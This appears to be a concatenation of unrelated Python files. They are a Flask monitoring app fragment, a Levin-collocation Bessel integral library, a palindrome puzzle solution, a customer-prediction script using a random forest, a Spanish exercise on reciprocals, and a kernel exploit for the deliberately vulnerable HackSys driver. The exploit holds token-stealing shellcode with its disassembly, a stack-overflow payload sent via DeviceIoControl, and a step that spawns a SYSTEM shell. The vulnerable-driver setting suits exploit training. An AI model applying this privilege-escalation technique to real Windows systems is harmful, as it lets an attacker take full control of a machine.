use_reloader = TEST

cur_dir = os.path.dirname(os.path.realpath(__file__))
os.chdir(cur_dir)
sys.path.append(cur_dir)

logging_level = os.environ.get("LOGGING_LEVEL", "INFO")
logging.basicConfig(format='%(asctime)s - %(levelname)s - %(message)s', level=logging_level)
logger = logging.getLogger(__name__)
app = Flask(__name__, static_folder='static', )

scheduler = BackgroundScheduler()

def initialize_scheduler():
    def clean_old_records():
        with app.app_context():
            db.delete_old_records()

    clean_old_records()

    logger.info('Starting apscheduler to logrotate db periodically')
    scheduler.add_job(clean_old_records, 'interval', minutes=30)
    scheduler.start()

def init_app(app):
    with app.app_context():
        from database import init_db
        init_db(app=app, echo=False)
        from routes import add_app_routes
        add_app_routes(app)

    if not use_reloader or os.environ.get("WERKZEUG_RUN_MAIN") == "true":
        logger.info('Starting service thread : ping')

        loop = asyncio.new_event_loop()
        with app.app_context():
            # asyncio.run(ping.start_ping_checks())
            loop.create_task(ping.start_ping_checks())
        thread = threading.Thread(target=loop.run_forever)
        thread.start()

        initialize_scheduler()

if __name__ == 'app':
    init_app(app)

if __name__ == '__main__':
    init_app(app)

    logger.info('run app')
    app.run(host='0.0.0.0', debug=TEST, port=5000, use_reloader=use_reloader)


#!/usr/bin/python
# -*- coding: utf-8 -*-
"""
Created on Thu Jul	6 14:46:18 2017

@author: jolyon
"""

import numpy as np
import scipy
from scipy import special
from scipy import integrate as sciint
from math import pi

class LevinIntegrals(object) :
	"""
	Implements levin integration by method of collocation. An "I type" integral
	(function*j_l(alpha*k)) is computed by the member function compute_I. This
	class is wrapped by the SphericalBesselIntegrator class.
	"""
	def __init__(self, numpoints) :
			self.numpoints = numpoints
			theta = pi * np.linspace(0.0, 1.0, numpoints)
			# Collocation points in x space
			self.colloc = -np.cos(theta)

			# These are (n, collocation) indexed
			self.chebyTs = np.array([self.chebyT(theta, n) for n in range(numpoints)])
			self.dchebyTs = np.array([n * self.chebyU(theta, n-1) for n in range(0, numpoints)])

	def kvals(self, a, b) :
			"""Return k values for a given set of collocation points, given a and b"""
			return (b-a)/2*self.colloc + (b+a)/2

	@staticmethod
	def chebyT(theta, n) :
			"""Returns Chebyshev polynomials of the first kind of order n at value -theta"""
			return (-1) ** (n % 2) * np.cos(n * theta)

	@staticmethod
	def chebyU(theta, n) :
			"""Returns Chebyshev polynomials of the second kind of order n at value -theta"""
			if n == -1 :
					return np.zeros_like(theta)
			subtheta = theta[1:-1]
			n1 = n + 1
			return (-1) ** (n % 2) * np.concatenate(([n1], np.sin(n1 * subtheta) / np.sin(subtheta), [(-1) ** (n % 2) * n1]))

	def compute_K(self, a, b, alpha, beta, l, func):
		"""Computes int(func(k) j_l(alpha k) j_l(beta k), {k, a, b})"""

		Abase = np.zeros((4, 4))
		Abase[0, 1] = -alpha
		Abase[0, 2] = -beta
		Abase[1, 0] = alpha
		Abase[2, 0] = beta
		Abase[1, 3] = -beta
		Abase[3, 1] = beta
		Abase[2, 3] = -alpha
		Abase[3, 2] = alpha

		diagbase = np.diag([2 * l, -2, -2, -2 * (2 + l)])

		ks = self.kvals(a, b)
		derivs = 2 / (b - a) * self.dchebyTs

		sphlaa = scipy.special.spherical_jn(l, alpha * a)
		sphlba = scipy.special.spherical_jn(l, beta * a)
		sphl1aa = scipy.special.spherical_jn(l + 1, alpha * a)
		sphl1ba = scipy.special.spherical_jn(l + 1, beta * a)
		sphlab = scipy.special.spherical_jn(l, alpha * b)
		sphlbb = scipy.special.spherical_jn(l, beta * b)
		sphl1ab = scipy.special.spherical_jn(l + 1, alpha * b)
		sphl1bb = scipy.special.spherical_jn(l + 1, beta * b)

		weightsa = np.array([
			sphlaa * sphlba,
			sphl1aa * sphlba,
			sphlaa * sphl1ba,
			sphl1aa * sphl1ba
		])
		weightsb = np.array([
			sphlab * sphlbb,
			sphl1ab * sphlbb,
			sphlab * sphl1bb,
			sphl1ab * sphl1bb
		])

		# Indexed by weight, then collocation point
		flist = np.transpose(np.array([[func(k), 0.0, 0.0, 0.0] for k in ks]))

		# Construct the matrix equations a_{ijkl} c_{ik} = f_{jl}
		# a has indices of weight, weight, Chebyshev order, collocation index
		# F_i(x) = sum_k c_{ik} T_k(x)
		a = np.zeros([4, 4, self.numpoints, self.numpoints])
		# Loop over collocation points
		for l, kval in enumerate(ks):
			Amat = Abase + diagbase / kval
			a[:, :, :, l] = np.tensordot(Amat, self.chebyTs[:, l], 0) + np.tensordot(np.eye(4), derivs[:, l], 0)

		# Reorganize the tensor so that the contracted indices are rightmost
		atensor = np.transpose(a, (1, 3, 0, 2))

		# Solve the system
		cij = np.linalg.tensorsolve(atensor, flist)

		# Construct the integral
		resulta = np.dot(np.dot(cij, self.chebyTs[:, 0]), weightsa)
		resultb = np.dot(np.dot(cij, self.chebyTs[:, -1]), weightsb)

		# Return the result
		return resultb - resulta

	def compute_H(self, a, b, alpha, l, func):
		"""Computes int(func(k) j_l(alpha k)^2, {k, a, b})"""

		Abase = np.zeros((3, 3))
		Abase[0, 1] = -2.0 * alpha
		Abase[1, 0] = alpha
		Abase[1, 2] = -alpha
		Abase[2, 1] = 2.0 * alpha

		diagbase = np.diag([2 * l, -2, -2 * (2 + l)])

		ks = self.kvals(a, b)
		derivs = 2 / (b - a) * self.dchebyTs

		sphla = scipy.special.spherical_jn(l, alpha * a)
		sphl1a = scipy.special.spherical_jn(l + 1, alpha * a)
		sphlb = scipy.special.spherical_jn(l, alpha * b)
		sphl1b = scipy.special.spherical_jn(l + 1, alpha * b)

		weightsa = np.array([
			sphla ** 2,
			sphla * sphl1a,
			sphl1a ** 2
		])
		weightsb = np.array([
			sphlb ** 2,
			sphlb * sphl1b,
			sphl1b ** 2
		])

		# Indexed by weight, then collocation point
		flist = np.transpose(np.array([[func(k), 0.0, 0.0] for k in ks]))

		# Construct the matrix equations a_{ijkl} c_{ik} = f_{jl}
		# a has indices of weight, weight, Chebyshev order, collocation index
		# F_i(x) = sum_k c_{ik} T_k(x)
		a = np.zeros([3, 3, self.numpoints, self.numpoints])
		# Loop over collocation points
		for l, kval in enumerate(ks):
			Amat = Abase + diagbase / kval
			a[:, :, :, l] = np.tensordot(Amat, self.chebyTs[:, l], 0) + np.tensordot(np.eye(3), derivs[:, l], 0)

		# Reorganize the tensor so that the contracted indices are rightmost
		atensor = np.transpose(a, (1, 3, 0, 2))

		# Solve the system
		cij = np.linalg.tensorsolve(atensor, flist)

		# Construct the integral
		resulta = np.dot(np.dot(cij, self.chebyTs[:, 0]), weightsa)
		resultb = np.dot(np.dot(cij, self.chebyTs[:, -1]), weightsb)

		# Return the result
		return resultb - resulta

	def compute_I(self, a, b, alpha, l, func) :
			"""Computes int(func(k) j_l(alpha k), {k, a, b})"""

			Abase = np.zeros((2,2))
			Abase[0,1] = -alpha
			Abase[1,0] = alpha

			diagbase = np.diag([l, -(2+l)])

			ks = self.kvals(a, b)
			derivs = 2 / (b - a) * self.dchebyTs

			sphla = scipy.special.spherical_jn(l, alpha * a)
			sphl1a = scipy.special.spherical_jn(l+1, alpha * a)
			sphlb = scipy.special.spherical_jn(l, alpha * b)
			sphl1b = scipy.special.spherical_jn(l+1, alpha * b)

			weightsa = np.array([
									sphla,
									sphl1a
								 ])
			weightsb = np.array([
									sphlb,
									sphl1b
								 ])

			# Indexed by weight, then collocation point
			flist = np.transpose(np.array([[func(k), 0.0] for k in ks]))

			# Construct the matrix equations a_{ijkl} c_{ik} = f_{jl}
			# a has indices of weight, weight, Chebyshev order, collocation index
			# F_i(x) = sum_k c_{ik} T_k(x)
			a = np.zeros([2, 2, self.numpoints, self.numpoints])
			# Loop over collocation points
			for l, kval in enumerate(ks) :
					Amat = Abase + diagbase / kval
					a[:,:,:,l] = np.tensordot(Amat, self.chebyTs[:,l], 0) + np.tensordot(np.eye(2), derivs[:,l], 0)

			# Reorganize the tensor so that the contracted indices are rightmost
			atensor = np.transpose(a, (1, 3, 0, 2))

			# Solve the system
			cij = np.linalg.tensorsolve(atensor, flist)

			# Construct the integral
			resulta = np.dot(np.dot(cij, self.chebyTs[:, 0]), weightsa)
			resultb = np.dot(np.dot(cij, self.chebyTs[:, -1]), weightsb)

			# Return the result
			return resultb - resulta

def calc_relerr(err,result):
	if err!=0.0:
		rel_err = abs(err/result)
	else:
		rel_err = 0
	return rel_err

class SphericalBesselIntegrator(object) :
	"""
	A wrapper class for LevinIntegrals. Instantiates two LevinIntegrals
	objects at 21 and 10 collocation points to estimate error (persistence
	of these objects requires a wrapper class, instead of a function).
	Also implements case-checking and -handling for alpha==0. ICalc() computes
	an "I type" integral of a function func() times j_l(alpha*k).
	"""

	def __init__(self) :
		#Allow three stages of recursive subdivision.
		self.integrators=[]
		base_divisions=10
		self.recursion_power=0
		#self.max_recursion=6
		self.max_recursion=8
		for p in range(self.max_recursion+1):
			low_div = base_divisions*2**p
			high_div = 2*low_div-1
			self.integrators.append([LevinIntegrals(low_div),LevinIntegrals(high_div)])
		#FIXME: shouldn't hard-code relative tolerance!
		self.rel_tol = 1e-6

	def k_integrand(self, k, l, alpha, beta, func):
		res = func(k) * special.spherical_jn(l, k*alpha) * special.spherical_jn(l, k*beta)
		return res

	def h_integrand(self, k, l, alpha, func):
		res = func(k) * special.spherical_jn(l, k*alpha)**2
		return res
	def i_integrand(self, k, l, alpha, func):
		res = func(k) * special.spherical_jn(l, k*alpha)
		return res

	def KCalc(self, a, b, alpha_tup, beta_tup, l, func):
		"""
		Assuming the first entry in the radial coordinate array
		is zero. Check to see if both alpha and beta have index
		zero and l==0. If so, the collocation method fails because the
		differential matrix is singular. But in this case the
		covariance is simply the integral of the power spectrum,
		which is easily done with scipy's built-in quadrature routine.
		"""

		if (alpha_tup[1] == 0 and beta_tup[1] == 0 and l == 0):
			# Absolute error tolerance
			intepsrel = 1e-8
			# Compute integral using quadrature.
			(result, err) = sciint.quad(func, a, b, epsrel=intepsrel)
			# Estimate and check relative error.
			rel_err = abs(err / result)
			if rel_err > self.rel_tol:
				# FIXME: handle this error properly!
				print(str(self.rel_tol) + " Relative Error Bound Exceeded (Quadrature)")
				print(rel_err)
		else:
			result_hiprec = self.integrators[self.recursion_power][1].compute_K(a, b, alpha_tup[0], beta_tup[0], l,
																				func)
			result_loprec = self.integrators[self.recursion_power][0].compute_K(a, b, alpha_tup[0], beta_tup[0], l,
																				func)
			result = result_hiprec
			# Estimate and check relative error.
			err = abs(result_hiprec - result_loprec)
			if err != 0.0:
				rel_err = abs(err / result)
			else:
				rel_err = 0
			if (rel_err > self.rel_tol):
				if self.recursion_power < self.max_recursion:
					self.recursion_power += 1
					print(self.recursion_power)
					print(rel_err)
					result = self.KCalc(a, b, alpha_tup, beta_tup, l, func)
				else:
					print("KCalc Max Recursions Exceeded (LevinCollocation)")
					print("Switching to Quadrature")
					intepsrel = self.rel_tol
					(result, err) = sciint.quad(self.k_integrand, a, b, args=(l, alpha_tup[0], beta_tup[0], func),
												epsrel=intepsrel, limit=10000)
					if abs(err / result) > self.rel_tol:
						print("KCalc Error Tolerance Exceeded")
			# FIXME: handle this error properly!

		self.recursion_power = 0
		return result

	def HCalc(self, a, b, alpha_tup, l, func):
		"""
		Assuming the first entry in the radial coordinate array
		is zero. Check to see if both alpha has index
		zero and l==0. See KCalc().
		"""

		if (alpha_tup[1] == 0 and l == 0):
			# Absolute error tolerance
			intepsrel = 1e-8
			# Compute integral using quadrature.
			(result, err) = sciint.quad(func, a, b, epsrel=intepsrel)
			# Estimate and check relative error.
			rel_err = abs(err / result)
			if rel_err > self.rel_tol:
				# FIXME: handle this error properly!
				print(str(self.rel_tol) + " Relative Error Bound Exceeded (Quadrature)")
		else:
			result_hiprec = self.integrators[self.recursion_power][1].compute_H(a, b, alpha_tup[0], l, func)
			result_loprec = self.integrators[self.recursion_power][0].compute_H(a, b, alpha_tup[0], l, func)
			result = result_hiprec
			# Estimate and check relative error.
			err = abs(result_hiprec - result_loprec)
			if err != 0.0:
				rel_err = abs(err / result)
			else:
				rel_err = 0
			if (rel_err > self.rel_tol):
				if self.recursion_power < self.max_recursion:
					self.recursion_power += 1
					result = self.HCalc(a, b, alpha_tup, l, func)
				else:
					print("HCalc Max Recursions Exceeded (LevinCollocation)")
					print("Switching to Quadrature")
					intepsrel = self.rel_tol
					(result, err) = sciint.quad(self.h_integrand, a, b, args=(l, alpha_tup[0], func), epsrel=intepsrel,
												limit=10000)
					if abs(err / result) > self.rel_tol:
						print("HCalc Error Tolerance Exceeded")
			# FIXME: handle this error properly!
			# FIXME: handle this error properly!
		self.recursion_power = 0
		return result

	def ICalc(self, a, b, alpha, l, func):
		"""
		Takes integration bounds [a,b], radial coefficent [alpha], mode [l],
		and function [func], and computes the integral
		Integral[func(k)*j_l(alpha*k),{a,b,k}] using the compute_I method
		of the LevinIntegrals class. Assuming the first entry in the radial
		coordinate array is zero. Check to see if both alpha==0.0  and l==0.
		The first case, in which alpha==0.0 and l==0, corresponds to a straight
		integral over the power spectrum, which is done with SciPy quad().
		The second case, where we are away from the origin, or when l!=0,
		performs the levin integration with an adaptive collocation grid resolution
		(up to a recursion limit defined in the constructor). If the error estimate
		(computed by comparing resolution levels n and (n+1)) is greater than the
		tolerance self.rel_tol after reaching maxmal recursion depth, we try quadrature.
		"""
		if (alpha==0.0 and l==0):
			#Absolute error tolerance
			intepsrel=self.rel_tol*1e-2
			#Compute integral using quadrature.
			(result,err) = sciint.quad(func,a,b,epsrel=intepsrel)
			#Estimate and check relative error.
			rel_err = calc_relerr(err,result)
			if rel_err > self.rel_tol:
				#FIXME: handle this error properly!
				print(str(self.rel_tol)+" Relative Error Bound Exceeded (Quadrature)")
				assert False
		else:
			result_hiprec = self.integrators[self.recursion_power][1].compute_I(a, b, alpha, l, func)
			result_loprec = self.integrators[self.recursion_power][0].compute_I(a, b, alpha, l, func)
			result = result_hiprec
			#Estimate and check relative error.
			err = abs(result_hiprec-result_loprec)
			rel_err = calc_relerr(err,result)
			if (rel_err > self.rel_tol):
				if self.recursion_power<self.max_recursion:
					self.recursion_power+=1
					#print self.recursion_power
					#print rel_err
					result = self.ICalc(a,b,alpha,l,func)
				else:
					print("ICalc Max Recursions Exceeded (LevinCollocation)")
					print("Switching to Quadrature")
					intepsrel=self.rel_tol*1e-2
					(result,err) = sciint.quad(self.i_integrand,a,b,args=(l,alpha,func),epsrel=intepsrel,limit=10000)
					rel_err = calc_relerr(err,result)
					if rel_err>self.rel_tol:
						print("ICalc Error Tolerance Exceeded")
						assert False
		self.recursion_power=0
		return result


import sys
sys.stdin = open("input.txt")

def max_palindrome(words, num):
    for i in range(100):
        for j in range(100 - num + 1):
            for k in range(num//2):
                if words[i][j+k] != words[i][j+num-k-1]:
                    break
                if k + 1 == num//2:
                    return num

            for k in range(num//2):
                if words[j+k][i] != words[j+num-k-1][i]:
                    break
                if k + 1 == num//2:
                    return num

    return 0

for tc in range(1, 11):
    T = input()
    words = []
    for i in range(100):
        word = input()
        words.append(word)

    for i in range(100, 0, -1):
        answer = max_palindrome(words, i)

        if answer != 0:
            break

    print('#{} {}'.format(tc, answer))


import pickle
import pandas as pd

# This file is used to come up with final predictions for new customers (based on potential-customers set)
# and coming up with a final estimate

data_df = pd.read_excel('./data/potential-customers.xlsx')

data_df = data_df.dropna()

data_df = data_df.drop(columns=['education'])
data_df = data_df.drop(columns=['native-country'])
data_df = data_df.drop(columns=['race'])
data_df = data_df.drop(columns=['relationship'])
genders = {"Male": 0, "Female": 1}
data_df['sex'] = data_df['sex'].map(genders)

occupations = {"Tech-support": 0,  "Craft-repair": 1, "Other-service": 2, "Sales": 3, "Exec-managerial": 4,
               "Prof-specialty": 5, "Handlers-cleaners": 6, "Machine-op-inspct": 7, "Adm-clerical": 8,
               "Farming-fishing": 9, "Transport-moving": 10, "Priv-house-serv": 11, "Protective-serv": 12,
               "Armed-Forces": 13}
data_df['occupation'] = data_df['occupation'].map(occupations)

workclasses = {"Private": 0, "Self-emp-not-inc": 1, "Self-emp-inc": 2, "Federal-gov": 3, "Local-gov": 4,
               "State-gov": 5, "Without-pay": 6, "Never-worked": 7}
data_df['workclass'] = data_df['workclass'].map(workclasses)

marital_statuses = {"Married-civ-spouse": 0, "Divorced": 1, "Never-married": 2, "Separated": 3, "Widowed": 4,
                    "Married-spouse-absent": 5, "Married-AF-spouse": 6}
data_df['marital-status'] = data_df['marital-status'].map(marital_statuses)

data_df = data_df[data_df['age'] > 17]

data_df.loc[(data_df['age'] > 17) & (data_df['age'] <= 24), 'age'] = 1
data_df.loc[(data_df['age'] > 24) & (data_df['age'] <= 32), 'age'] = 2
data_df.loc[(data_df['age'] > 32) & (data_df['age'] <= 40), 'age'] = 3
data_df.loc[(data_df['age'] > 40) & (data_df['age'] <= 50), 'age'] = 4
data_df.loc[(data_df['age'] > 50) & (data_df['age'] <= 60), 'age'] = 5
data_df.loc[data_df['age'] > 60, 'age'] = 6

data_df.loc[data_df['capital-gain'] < 1, 'capital-gain'] = 0
data_df.loc[data_df['capital-gain'] > 1, 'capital-gain'] = 1

data_df.loc[data_df['capital-loss'] < 1, 'capital-loss'] = 0
data_df.loc[data_df['capital-loss'] > 1, 'capital-loss'] = 1

X = data_df.drop(columns=['RowID'])

# Load model created in main.py (Random forest model threshold =0.2)
filename = 'random_forest.pickle'
rf = pickle.load(open(filename, "rb"))

# Create predictions using the random forest model trained on the existing-customers data
rf_pred_proba = rf.predict_proba(X)
rf_pred = (rf_pred_proba[:, 1] >= 0.2).astype('bool')

# select the right data (RowIDs)
pred_tested_true = data_df[rf_pred]

row_ids = pred_tested_true['RowID']

# Write all RowIDS to text file
with open('predicted_row_ids.txt', 'w') as f:
    for row in row_ids.items():
        f.write(str(row[1]) + '\n')


from helper import *
from ctypes import *
import ctypes, os

def ioctl(function, devicetype = 0x00000022, access = 0x00000000, method = 0x00000003):
	return ((devicetype << 16) | (access << 14) | (function << 2) | method)

def main():
	HEVD_IOCTL_BUFFER_OVERFLOW_STACK = ioctl(0x800)
	lpFileName = "\\\\.\\HackSysExtremeVulnerableDriver"
	handle = get_handle(lpFileName)

	steal_token = (
		"\x90\x90\x90\x90"              # NOP Sled
		"\x60"                          # pusha
		"\x64\xa1\x24\x01\x00\x00"      # mov    eax,fs:0x124
		"\x8b\x40\x50"                  # mov    eax,DWORD PTR [eax+0x50]
		"\x89\xc1"                      # mov    ecx,eax
		"\xba\x04\x00\x00\x00"          # mov    edx,0x4
		"\x8b\x80\xb8\x00\x00\x00"      # mov    eax,DWORD PTR [eax+0xb8]
		"\x2d\xb8\x00\x00\x00"          # sub    eax,0xb8
		"\x39\x90\xb4\x00\x00\x00"      # cmp    DWORD PTR [eax+0xb4],edx
		"\x75\xed"                      # jne    11 <.text+0x11>
		"\x8b\x90\xf8\x00\x00\x00"      # mov    edx,DWORD PTR [eax+0xf8]
		"\x8b\xb9\xf8\x00\x00\x00"      # mov    edi,DWORD PTR [ecx+0xf8]
		"\x83\xe2\xf8"                  # and    edx,0xfffffff8
		"\x83\xe7\x07"                  # and    edi,0x7
		"\x01\xfa"                      # add    edx,edi
		"\x89\x91\xf8\x00\x00\x00"      # mov    DWORD PTR [ecx+0xf8],edx
		"\x61"                          # popa
		"\x31\xc0"                      # xor    eax,eax
		"\x5d"                          # pop    ebp
		"\xc2\x08\x00"                  # ret    0x8
	)

	# Allocate memory via VirtualAlloc()
	ptr = alloc_memory_virtualalloc(0, len(steal_token), steal_token)
	shellcode = p32(ptr)

	payload = "A" * 2080
	payload += shellcode
	inbuffer = create_string_buffer(payload)

	# Trigger the bug via DeviceIoControl()
	device = trigger(handle, HEVD_IOCTL_BUFFER_OVERFLOW_STACK, addressof(inbuffer), len(inbuffer))

	print("[+] Spawn SYSTEM shell\n")
	os.system("cmd.exe")

if __name__ == "__main__":
	main()


# crear un una funcion reciproca que imprima reciproco del numero que llego, ej. 3 el reciproco de 3 es 1/3 de
# la funcion debe recibir una lista e imprimir el reciproco de cada numero que llega ej. ([3,0,a,4,5]).
# Utilizando excepciones controlar los errores que se presenten para que no se bloquee el programa.
# y controlar los errores y co excepciones

# Funciones
def verificarNumero(numero):
    try:
        numero = int(numero)
    except ValueError:
        try:
            numero = float(numero)
        except ValueError:
            numero = 'ERROR'
    return numero

def reciproco(lista):
    listaReciprocos = []
    for elem in lista:
        if elem == 0:
            continue
        elif type(elem) == float:
            numero = str(elem).split('.')
            entero = numero[0]
            decimal = numero[1]
            potenciaDiez = '1'
            for x in range(len(decimal)):
                potenciaDiez += '0'
            reciproco = (int(entero) * int(potenciaDiez)) + int(decimal)
            reciproco = f'{potenciaDiez} / {str(reciproco)}'
            listaReciprocos.append(reciproco)
        else:
            reciproco = f'1 / {elem}'
            listaReciprocos.append(reciproco)
    return listaReciprocos

# Variables
listaNumeros = []

# Entradas
while True:
    numeroIngresado = verificarNumero(input('\nIngrese un numero: '))
    while numeroIngresado == 'ERROR':
        numeroIngresado = verificarNumero(input('\tIngrese un numero valido: '))
    listaNumeros.append(numeroIngresado)

    estado = input('\nDesea añadir otro numero si(1) no(0): ')
    while estado != '0' and estado != '1':
        estado = input('\tIngrese una opcion valida: ')
    if estado == '0':
        break

print(listaNumeros)
print(reciproco(listaNumeros))

Exceptions/Ejercicio 1 - Numero Reciproco.py